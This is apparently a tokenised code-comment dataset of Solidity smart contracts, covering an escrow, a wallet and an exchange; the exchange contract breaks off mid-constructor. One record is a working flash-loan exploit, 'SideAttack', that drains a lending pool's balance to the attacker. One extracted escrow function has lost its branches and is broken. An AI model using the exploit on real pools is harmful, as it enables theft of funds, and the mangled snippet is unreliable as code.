[ 1, 36, 3662, 30, 7462, 17, 8994, 4461, 36, 10578, 378, 1415, 18, 75, 753, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 657, 9551, 25583, 16524, 58, 73, 76, 8383, 353, 4232, 39, 2499, 2539, 16, 24349, 16, 21800, 16665, 16, 4232, 39, 2499, 2539, 3088, 1283, 288, 203, 565, 1731, 1578, 1071, 5381, 3699, 67, 1090, 11976, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 3098, 67, 1090, 11976, 67, 16256, 8863, 203, 565, 1731, 1578, 1071, 5381, 15662, 4714, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 4066, 4714, 67, 16256, 8863, 203, 565, 1731, 1578, 1071, 5381, 6989, 2560, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 6236, 2560, 67, 16256, 8863, 203, 203, 203, 203, 203, 3639, 389, 16243, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 1234, 18, 15330, 1769, 203, 3639, 389, 16243, 2996, 12, 3098, 67, 1090, 11976, 67, 16256, 16, 1234, 18, 15330, 1769, 203, 3639, 389, 16243, 2996, 12, 4066, 4714, 67, 16256, 16, 1234, 18, 15330, 1769, 203, 3639, 389, 16243, 2996, 12, 6236, 2560, 67, 16256, 16, 1234, 18, 15330, 1769, 203, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 404, 16, 1728, 16, 1408, 1769, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 576, 16, 1728, 16, 1408, 1769, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 890, 16, 1728, 16, 1408, 1769, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 1059, 16, 1728, 16, 1408, 1769, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7d648a11AE84487526b7474b6A2BC0BE3a299BBb/sources/contracts/FlexibleNonceForwarder.sol
when this nonce was first used - used to age transactions
uint256 block;
16,586,457
[ 1, 13723, 333, 7448, 1703, 1122, 1399, 300, 1399, 358, 9388, 8938, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 1203, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; interface ISidePool{ function deposit() external payable; function withdraw() external; function flashLoan(uint256 amount) external; } contract SideAttack{ using Address for address payable; ISidePool pool; constructor( ISidePool _pool ) { pool = _pool; } function attack() external { //get pool balance uint256 _poolBal = address(pool).balance; //take a flashLoan pool.flashLoan(_poolBal); //withdraw flashloan pool.withdraw(); //transfer flashLoan into attackerEOA payable(msg.sender).transfer(address(this).balance); } function execute() external payable { pool.deposit{value: msg.value}(); } receive () external payable {} }
get pool balancetake a flashLoanwithdraw flashloantransfer flashLoan into attackerEOA
function attack() external { uint256 _poolBal = address(pool).balance; pool.flashLoan(_poolBal); pool.withdraw(); payable(msg.sender).transfer(address(this).balance); }
1,831,568
[ 1, 588, 2845, 324, 4316, 71, 278, 911, 279, 9563, 1504, 304, 1918, 9446, 9563, 383, 304, 13866, 9563, 1504, 304, 1368, 13843, 264, 41, 28202, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13843, 1435, 3903, 288, 203, 3639, 2254, 5034, 389, 6011, 38, 287, 273, 1758, 12, 6011, 2934, 12296, 31, 203, 203, 3639, 2845, 18, 13440, 1504, 304, 24899, 6011, 38, 287, 1769, 203, 203, 3639, 2845, 18, 1918, 9446, 5621, 203, 540, 203, 3639, 8843, 429, 12, 3576, 18, 15330, 2934, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 540, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity 0.7.5; /*unaudited and for demonstration only, subject to all disclosures, licenses, and caveats of the open-source-law repo **@dev create a simple smart escrow contract, with ETH as payment, expiration denominated in seconds, and option for dispute resolution with LexLocker **intended to be deployed by buyer (as funds are placed in escrow upon deployment, and returned to deployer if expired) **consider hardcoding reference or pointer to LexDAO resolver terms of use https://github.com/lexDAO/Arbitration/blob/master/rules/ToU.md **included in LexDAO's LexCorpus at: https://github.com/lexDAO/LexCorpus/blob/master/contracts/lexdao/lexlocker/extensions/EscrowETH.sol*/ interface LexLocker { function requestLockerResolution(address counterparty, address resolver, address token, uint256 sum, string calldata details, bool swiftResolver) external payable returns (uint256); } contract EscrowEth { //escrow struct to contain basic description of underlying deal, purchase price, ultimate recipient of funds struct InEscrow { string description; uint256 deposit; address payable buyer; address payable seller; } InEscrow[] public escrows; address escrowAddress = address(this); address payable immutable lexlocker = payable(0xD476595aa1737F5FdBfE9C8FEa17737679D9f89a); //LexLocker ETH mainnet contract address address payable immutable lexDAO = payable(0x01B92E2C0D06325089c6Fd53C98a214f5C75B2aC); //lexDAO ETH mainnet address, used below as resolver address payable buyer; address payable seller; uint256 deposit; uint256 effectiveTime; uint256 expirationTime; bool sellerApproved; bool buyerApproved; bool isDisputed; bool isExpired; bool isClosed; string description; mapping(address => bool) public parties; //map whether an address is a party to the transaction for restricted() modifier event EscrowInPlace(address indexed buyer, uint256 deposit); event DealDisputed(address indexed sender, bool isDisputed); event DealExpired(bool isExpired); event DealClosed(bool isClosed); modifier restricted() { require(parties[msg.sender], "This may only be called by a party to the deal or the escrow contract itself"); _; } //creator contributes deposit and initiates escrow with description, deposit amount, seconds until expiry, and designate recipient seller constructor(string memory _description, uint256 _deposit, address payable _seller, uint256 _secsUntilExpiration) payable { require(msg.value >= deposit, "Submit deposit amount"); require(_seller != msg.sender, "Designate different party as seller"); buyer = payable(address(msg.sender)); deposit = _deposit; description = _description; seller = _seller; parties[msg.sender] = true; parties[_seller] = true; parties[escrowAddress] = true; effectiveTime = uint256(block.timestamp); expirationTime = effectiveTime + _secsUntilExpiration; sendEscrow(description, deposit, buyer, seller); } //buyer may confirm seller's recipient address as extra security measure function designateSeller(address payable _seller) public restricted { require(_seller != seller, "Party already designated as seller"); require(_seller != buyer, "Buyer cannot also be seller"); require(!isExpired, "Deal expired, too late to change seller"); parties[_seller] = true; seller = _seller; } //send escrow, create InEscrow struct and emit event showing the deposit is in place function sendEscrow(string memory _description, uint256 _deposit, address payable _buyer, address payable _seller) private restricted { InEscrow memory newRequest = InEscrow({ description: _description, deposit: _deposit, buyer: _buyer, seller: _seller }); escrows.push(newRequest); emit EscrowInPlace(_buyer, _deposit); } //check if expired, and if so, return balance to buyer function checkIfExpired() public returns(bool){ if (expirationTime <= uint256(block.timestamp)) { isExpired = true; buyer.transfer(escrowAddress.balance); emit DealExpired(isExpired); } else { isExpired = false; } return(isExpired); } // for early termination by either buyer or seller due to claimed breach of the other party, claiming party requests LexLocker resolution // deposit either returned to buyer or remitted to seller as liquidated damages function disputeDeal(address _token, string calldata _details, bool _singleArbiter) public restricted returns(string memory){ require(!isClosed && !isExpired, "Too late for early termination"); if (msg.sender == seller) { LexLocker(lexlocker).requestLockerResolution(buyer, lexDAO, _token, deposit, _details, _singleArbiter); lexlocker.transfer(escrowAddress.balance); isDisputed = true; emit DealDisputed(seller, isDisputed); return("Seller has initiated LexLocker dispute resolution."); } else if (msg.sender == buyer) { LexLocker(lexlocker).requestLockerResolution(seller, lexDAO, _token, deposit, _details, _singleArbiter); lexlocker.transfer(escrowAddress.balance); // presumably balance only holds the deposit amount if buyer is initiating dispute isDisputed = true; emit DealDisputed(buyer, isDisputed); return("Buyer has initiated Lexlocker dispute resolution."); } else { return("You are neither buyer nor seller."); } } function readyToClose() public restricted returns(string memory){ if (msg.sender == seller) { sellerApproved = true; return("Seller is ready to close."); } else if (msg.sender == buyer) { buyerApproved = true; return("Buyer is ready to close."); } else { return("You are neither buyer nor seller."); } } // check if both buyer and seller are ready to close and expiration has not been met; if so, close deal and pay seller function closeDeal() public returns(bool){ require(sellerApproved && buyerApproved, "Parties are not ready to close."); if (expirationTime <= uint256(block.timestamp)) { isExpired = true; buyer.transfer(escrowAddress.balance); emit DealExpired(isExpired); } else { isClosed = true; seller.transfer(escrowAddress.balance); emit DealClosed(isClosed); } return(isClosed); } }
for early termination by either buyer or seller due to claimed breach of the other party, claiming party requests LexLocker resolution deposit either returned to buyer or remitted to seller as liquidated damages
function disputeDeal(address _token, string calldata _details, bool _singleArbiter) public restricted returns(string memory){ require(!isClosed && !isExpired, "Too late for early termination"); if (msg.sender == seller) { LexLocker(lexlocker).requestLockerResolution(buyer, lexDAO, _token, deposit, _details, _singleArbiter); lexlocker.transfer(escrowAddress.balance); isDisputed = true; emit DealDisputed(seller, isDisputed); return("Seller has initiated LexLocker dispute resolution."); LexLocker(lexlocker).requestLockerResolution(seller, lexDAO, _token, deposit, _details, _singleArbiter); isDisputed = true; emit DealDisputed(buyer, isDisputed); return("Buyer has initiated Lexlocker dispute resolution."); return("You are neither buyer nor seller."); } }
7,297,434
[ 1, 1884, 11646, 19650, 635, 3344, 27037, 578, 29804, 6541, 358, 7516, 329, 324, 12974, 434, 326, 1308, 18285, 16, 7516, 310, 18285, 3285, 15123, 2531, 264, 7861, 443, 1724, 3344, 2106, 358, 27037, 578, 849, 11541, 358, 29804, 487, 4501, 26595, 690, 302, 301, 1023, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1015, 2507, 758, 287, 12, 2867, 389, 2316, 16, 533, 745, 892, 389, 6395, 16, 1426, 389, 7526, 686, 70, 2165, 13, 1071, 15693, 1135, 12, 1080, 3778, 15329, 203, 1377, 2583, 12, 5, 291, 7395, 597, 401, 291, 10556, 16, 315, 10703, 26374, 364, 11646, 19650, 8863, 203, 1377, 309, 261, 3576, 18, 15330, 422, 29804, 13, 288, 203, 5411, 15123, 2531, 264, 12, 4149, 739, 264, 2934, 2293, 2531, 264, 11098, 12, 70, 16213, 16, 5275, 18485, 16, 389, 2316, 16, 443, 1724, 16, 389, 6395, 16, 389, 7526, 686, 70, 2165, 1769, 203, 5411, 5275, 739, 264, 18, 13866, 12, 742, 492, 1887, 18, 12296, 1769, 203, 5411, 353, 1669, 458, 329, 273, 638, 31, 203, 5411, 3626, 28998, 1669, 458, 329, 12, 1786, 749, 16, 353, 1669, 458, 329, 1769, 203, 5411, 327, 2932, 22050, 711, 27183, 15123, 2531, 264, 1015, 2507, 7861, 1199, 1769, 203, 5411, 15123, 2531, 264, 12, 4149, 739, 264, 2934, 2293, 2531, 264, 11098, 12, 1786, 749, 16, 5275, 18485, 16, 389, 2316, 16, 443, 1724, 16, 389, 6395, 16, 389, 7526, 686, 70, 2165, 1769, 203, 5411, 353, 1669, 458, 329, 273, 638, 31, 203, 5411, 3626, 28998, 1669, 458, 329, 12, 70, 16213, 16, 353, 1669, 458, 329, 1769, 203, 5411, 327, 2932, 38, 16213, 711, 27183, 15123, 739, 264, 1015, 2507, 7861, 1199, 1769, 203, 5411, 327, 2932, 6225, 854, 15826, 27037, 12517, 29804, 1199, 1769, 203, 3639, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.15; /** * @title Log Various Error Types * @author Adam Lemmon <[email protected]> * @dev Inherit this contract and your may now log errors easily * To support various error types, params, etc. */ contract LoggingErrors { /** * Events */ event LogErrorString(string errorString); /** * Error cases */ /** * @dev Default error to simply log the error message and return * @param _errorMessage The error message to log * @return ALWAYS false */ function error(string _errorMessage) internal returns(bool) { LogErrorString(_errorMessage); return false; } } /** * @title Wallet Connector * @dev Connect the wallet contract to the correct Wallet Logic version */ contract WalletConnector is LoggingErrors { /** * Storage */ address public owner_; address public latestLogic_; uint256 public latestVersion_; mapping(uint256 => address) public logicVersions_; uint256 public birthBlock_; /** * Events */ event LogLogicVersionAdded(uint256 version); event LogLogicVersionRemoved(uint256 version); /** * @dev Constructor to set the latest logic address * @param _latestVersion Latest version of the wallet logic * @param _latestLogic Latest address of the wallet logic contract */ function WalletConnector ( uint256 _latestVersion, address _latestLogic ) public { owner_ = msg.sender; latestLogic_ = _latestLogic; latestVersion_ = _latestVersion; logicVersions_[_latestVersion] = _latestLogic; birthBlock_ = block.number; } /** * Add a new version of the logic contract * @param _version The version to be associated with the new contract. * @param _logic New logic contract. * @return Success of the transaction. */ function addLogicVersion ( uint256 _version, address _logic ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, WalletConnector.addLogicVersion()'); if (logicVersions_[_version] != 0) return error('Version already exists, WalletConnector.addLogicVersion()'); // Update latest if this is the latest version if (_version > latestVersion_) { latestLogic_ = _logic; latestVersion_ = _version; } logicVersions_[_version] = _logic; LogLogicVersionAdded(_version); return true; } /** * @dev Remove a version. Cannot remove the latest version. * @param _version The version to remove. */ function removeLogicVersion(uint256 _version) external { require(msg.sender == owner_); require(_version != latestVersion_); delete logicVersions_[_version]; LogLogicVersionRemoved(_version); } /** * Constants */ /** * Called from user wallets in order to upgrade their logic. * @param _version The version to upgrade to. NOTE pass in 0 to upgrade to latest. * @return The address of the logic contract to upgrade to. */ function getLogic(uint256 _version) external constant returns(address) { if (_version == 0) return latestLogic_; else return logicVersions_[_version]; } } /** * @title Wallet to hold and trade ERC20 tokens and ether * @author Adam Lemmon <[email protected]> * @dev User wallet to interact with the exchange. * all tokens and ether held in this wallet, 1 to 1 mapping to user EOAs. */ contract Wallet is LoggingErrors { /** * Storage */ // Vars included in wallet logic "lib", the order must match between Wallet and Logic address public owner_; address public exchange_; mapping(address => uint256) public tokenBalances_; address public logic_; // storage location 0x3 loaded for delegatecalls so this var must remain at index 3 uint256 public birthBlock_; // Address updated at deploy time WalletConnector private connector_ = WalletConnector(0x03d6e7b2f48120fd57a89ff0bbd56e9ec39af21c); /** * Events */ event LogDeposit(address token, uint256 amount, uint256 balance); event LogWithdrawal(address token, uint256 amount, uint256 balance); /** * @dev Contract consturtor. Set user as owner and connector address. * @param _owner The address of the user's EOA, wallets created from the exchange * so must past in the owner address, msg.sender == exchange. */ function Wallet(address _owner) public { owner_ = _owner; exchange_ = msg.sender; logic_ = connector_.latestLogic_(); birthBlock_ = block.number; } /** * @dev Fallback - Only enable funds to be sent from the exchange. * Ensures balances will be consistent. */ function () external payable { require(msg.sender == exchange_); } /** * External */ /** * @dev Deposit ether into this wallet, default to address 0 for consistent token lookup. */ function depositEther() external payable { require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), 0, msg.value)); } /** * @dev Deposit any ERC20 token into this wallet. * @param _token The address of the existing token contract. * @param _amount The amount of tokens to deposit. * @return Bool if the deposit was successful. */ function depositERC20Token ( address _token, uint256 _amount ) external returns(bool) { // ether if (_token == 0) return error('Cannot deposit ether via depositERC20, Wallet.depositERC20Token()'); require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), _token, _amount)); return true; } /** * @dev The result of an order, update the balance of this wallet. * @param _token The address of the token balance to update. * @param _amount The amount to update the balance by. * @param _subtractionFlag If true then subtract the token amount else add. * @return Bool if the update was successful. */ function updateBalance ( address _token, uint256 _amount, bool _subtractionFlag ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * User may update to the latest version of the exchange contract. * Note that multiple versions are NOT supported at this time and therefore if a * user does not wish to update they will no longer be able to use the exchange. * @param _exchange The new exchange. * @return Success of this transaction. */ function updateExchange(address _exchange) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateExchange()'); // If subsequent messages are not sent from this address all orders will fail exchange_ = _exchange; return true; } /** * User may update to a new or older version of the logic contract. * @param _version The versin to update to. * @return Success of this transaction. */ function updateLogic(uint256 _version) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateLogic()'); address newVersion = connector_.getLogic(_version); // Invalid version as defined by connector if (newVersion == 0) return error('Invalid version, Wallet.updateLogic()'); logic_ = newVersion; return true; } /** * @dev Verify an order that the Exchange has received involving this wallet. * Internal checks and then authorize the exchange to move the tokens. * If sending ether will transfer to the exchange to broker the trade. * @param _token The address of the token contract being sold. * @param _amount The amount of tokens the order is for. * @param _fee The fee for the current trade. * @param _feeToken The token of which the fee is to be paid in. * @return If the order was verified or not. */ function verifyOrder ( address _token, uint256 _amount, uint256 _fee, address _feeToken ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * @dev Withdraw any token, including ether from this wallet to an EOA. * @param _token The address of the token to withdraw. * @param _amount The amount to withdraw. * @return Success of the withdrawal. */ function withdraw(address _token, uint256 _amount) external returns(bool) { if(msg.sender != owner_) return error('msg.sender != owner, Wallet.withdraw()'); assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * Constants */ /** * @dev Get the balance for a specific token. * @param _token The address of the token contract to retrieve the balance of. * @return The current balance within this contract. */ function balanceOf(address _token) public constant returns(uint) { return tokenBalances_[_token]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } /** * @title Decentralized exchange for ether and ERC20 tokens. * @author Adam Lemmon <[email protected]> * @dev All trades brokered by this contract. * Orders submitted by off chain order book and this contract handles * verification and execution of orders. * All value between parties is transferred via this exchange. * Methods arranged by visibility; external, public, internal, private and alphabatized within. */ contract Exchange is LoggingErrors { using SafeMath for uint256; /** * Data Structures */ struct Order { bool active_; // True: active, False: filled or cancelled address offerToken_; uint256 offerTokenTotal_; uint256 offerTokenRemaining_; // Amount left to give address wantToken_; uint256 wantTokenTotal_; uint256 wantTokenReceived_; // Amount received, note this may exceed want total } /** * Storage */ address private orderBookAccount_; address private owner_; uint256 public minOrderEthAmount_; uint256 public birthBlock_; address public edoToken_; uint256 public edoPerWei_; uint256 public edoPerWeiDecimals_; address public eidooWallet_; mapping(bytes32 => Order) public orders_; // Map order hashes to order data struct mapping(address => address) public userAccountToWallet_; // User EOA to wallet addresses /** * Events */ event LogEdoRateSet(uint256 rate); event LogOrderExecutionSuccess(); event LogOrderFilled(bytes32 indexed orderId, uint256 fillAmount, uint256 fillRemaining); event LogUserAdded(address indexed user, address walletAddress); event LogWalletDeposit(address indexed walletAddress, address token, uint256 amount, uint256 balance); event LogWalletWithdrawal(address indexed walletAddress, address token, uint256 amount, uint256 balance); /** * @dev Contract constructor - CONFIRM matches contract name. Set owner and addr of order book. * @param _bookAccount The EOA address for the order book, will submit ALL orders. * @param _minOrderEthAmount Minimum amount of ether that each order must contain. * @param _edoToken Deployed edo token. * @param _edoPerWei Rate of edo tokens per wei. * @param _edoPerWeiDecimals Decimlas carried in edo rate. * @param _eidooWallet Wallet to pay fees to. */ function Exchange( address _bookAccount, uint256 _minOrderEthAmount, address _edoToken, uint256 _edoPerWei, uint256 _edoPerWeiDecimals, address _eidooWallet ) public { orderBookAccount_ = _bookAccount; minOrderEthAmount_ = _minOrderEthAmount; owner_ = msg.sender; birthBlock_ = block.number; edoToken_ = _edoToken; edoPerWei_ = _edoPerWei; 